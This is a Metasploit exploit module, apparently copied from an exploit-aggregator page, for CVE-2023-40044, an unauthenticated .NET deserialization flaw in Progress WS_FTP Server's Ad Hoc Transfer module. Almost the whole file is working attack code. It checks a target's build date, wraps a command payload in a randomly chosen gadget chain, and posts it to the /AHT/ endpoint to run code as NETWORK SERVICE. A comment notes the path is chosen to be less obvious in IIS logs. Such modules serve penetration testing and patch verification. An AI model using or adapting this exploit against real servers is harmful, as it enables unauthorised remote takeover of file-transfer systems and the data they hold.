Share
## https://sploitus.com/exploit?id=PACKETSTORM:174917
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Progress Software WS_FTP Unauthenticated Remote Code Execution',  
'Description' => %q{  
This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code  
execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP Server  
prior to 2020.0.4 (version 8.7.4) and 2022.0.2 (version 8.8.2) are vulnerable to this issue. The vulnerability  
was originally discovered by AssetNote.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sfewer-r7', # MSF Exploit & Rapid7 Analysis  
],  
'References' => [  
['CVE', '2023-40044'],  
['URL', 'https://attackerkb.com/topics/bn32f9sNax/cve-2023-40044/rapid7-analysis'],  
['URL', 'https://community.progress.com/s/article/WS-FTP-Server-Critical-Vulnerability-September-2023'],  
['URL', 'https://www.assetnote.io/resources/research/rce-in-progress-ws-ftp-ad-hoc-via-iis-http-modules-cve-2023-40044']  
],  
'DisclosureDate' => '2023-09-27',  
'Platform' => %w[win],  
'Arch' => [ARCH_CMD],  
# 5000 will allow the powershell payloads to work as they require ~4200 bytes. Notably, the ClaimsPrincipal and  
# TypeConfuseDelegate (but not TextFormattingRunProperties) gadget chains will fail if Space is too large (e.g.  
# 8192 bytes), as the encoded payload command is padded with leading whitespace characters (0x20) to consume  
# all the available payload space via ./modules/nops/cmd/generic.rb).  
'Payload' => { 'Space' => 5000 },  
'Privileged' => false, # Code execution as `NT AUTHORITY\NETWORK SERVICE`.  
'Targets' => [  
[  
'Windows', {}  
]  
],  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
# This URI path can be anything so long as it begins with /AHT/. We default ot /AHT/ as it is less obvious in  
# the IIS logs as to what the request is for, however the user can change this as needed if required.  
Msf::OptString.new('TARGET_URI', [ false, 'Target URI used to exploit the deserialization vulnerability. Must begin with /AHT/', '/AHT/']),  
]  
)  
end  
  
def check  
# As the vulnerability lies in the WS_FTP Ad Hoc Transfer (AHT) module, we query the index HTML file for AHT.  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/AHT/AHT_UI/public/index.html'  
)  
  
return CheckCode::Unknown('Connection failed') unless res  
  
title = Nokogiri::HTML(res.body).xpath('//head/title')&.text  
  
# We verify the target is running the AHT module, by inspecting the HTML heads title.  
if title == 'Ad Hoc Transfer'  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/AHT/AHT_UI/public/js/app.min.js'  
)  
  
return CheckCode::Unknown('Connection failed') unless res  
  
# The patched versions were released on September 2023. We can query the date stamp in the app.min.js file  
# to see when this file was built. If it is before Sept 2023, then we have a vulnerable version of WS_FTP,  
# but if it was build on Sept 2023 or after, it is not vulnerable.  
  
if res.code == 200 && res.body =~ %r{/\*! fileTransfer (\d+)-(\d+)-(\d+) \*/}  
day = ::Regexp.last_match(1).to_i  
month = ::Regexp.last_match(2).to_i  
year = ::Regexp.last_match(3).to_i  
  
description = "Detected a build date of #{day}-#{month}-#{year}"  
  
if year > 2023 || (year == 2023 && month >= 9)  
return CheckCode::Safe(description)  
end  
  
return CheckCode::Appears(description)  
end  
  
# If we couldn't get the JS build date, we at least know the target is WS_FTP with the Ad Hoc Transfer module.  
return CheckCode::Detected  
end  
  
CheckCode::Unknown  
end  
  
def exploit  
unless datastore['TARGET_URI'].start_with? '/AHT/'  
fail_with(Failure::BadConfig, 'The TARGET_URI must begin with /AHT/')  
end  
  
# All of these gadget chains will work. We pick a random one during exploitation.  
chains = %i[ClaimsPrincipal TypeConfuseDelegate TextFormattingRunProperties]  
  
gadget = ::Msf::Util::DotNetDeserialization.generate(  
payload.encoded,  
gadget_chain: chains.sample,  
formatter: :BinaryFormatter  
)  
  
# We can reach the unsafe deserialization via either of these tags. We pick a random one during exploitation.  
tags = %w[AHT_DEFAULT_UPLOAD_PARAMETER AHT_UPLOAD_PARAMETER]  
  
message = Rex::MIME::Message.new  
  
part = message.add_part("::#{tags.sample}::#{Rex::Text.encode_base64(gadget)}\r\n", nil, nil, nil)  
  
part.header.set('name', rand_text_alphanumeric(8))  
  
res = send_request_cgi(  
{  
'uri' => normalize_uri(datastore['TARGET_URI']),  
'ctype' => 'multipart/form-data; boundary=' + message.bound,  
'method' => 'POST',  
'data' => message.to_s  
}  
)  
  
unless res&.code == 302  
fail_with(Failure::UnexpectedReply, 'Failed to trigger vulnerability')  
end  
end  
  
end